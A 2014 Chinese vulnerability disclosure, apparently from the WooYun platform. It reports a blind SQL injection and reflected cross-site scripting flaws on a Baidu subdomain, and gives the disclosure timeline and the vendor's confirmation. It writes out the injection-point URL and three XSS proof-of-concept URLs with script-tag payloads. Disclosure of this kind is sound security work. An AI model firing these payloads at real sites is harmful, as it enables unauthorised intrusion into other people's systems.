漏洞详情

披露状态:

2014-03-04: 细节已通知厂商并且等待厂商处理中
2014-03-04: 厂商已经确认,细节仅向厂商公开
2014-03-14: 细节向核心白帽子及相关领域专家公开
2014-03-24: 细节向普通白帽子公开
2014-04-03: 细节向实习白帽子公开
2014-04-18: 细节向公众公开

简要描述:

百度某站root盲注

详细说明:

注入点:

http://weipai.baidu.com/photo/getalbumpic?city_name=%E5%85%B0%E5%B7%9E%E5%B8%82,%E5%A4%A9%E6%B0%B4%E5%B8%82,%E6%B1%89%E4%B8%AD%E5%B8%82,%E7%BB%B5%E9%98%B3%E5%B8%82&end_date=2014-02-17&start_date=2014-02-02&un=732340Mark

还有一些跨站:

http://weipai.baidu.com/photo/index?'"--></style></scRipt><scRipt>alert(123456)</scRipt>

http://weipai.baidu.com/photo/imagedetail?event_id=1771864192"><script>alert(123456)</script>&from_id=536936576

http://weipai.baidu.com/photo/imagedetail?event_id=536936576&from_id=536936576"><script>alert(123456)</script>

漏洞证明:

dba.jpg

sqli.jpg

修复方案:

版权声明:转载请注明来源 瘦蛟舞@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-03-04 19:07

厂商回复:

感谢提交,我们立即处理此问题。
--“百度,因你更安全”

最新状态:

暂无


漏洞评价: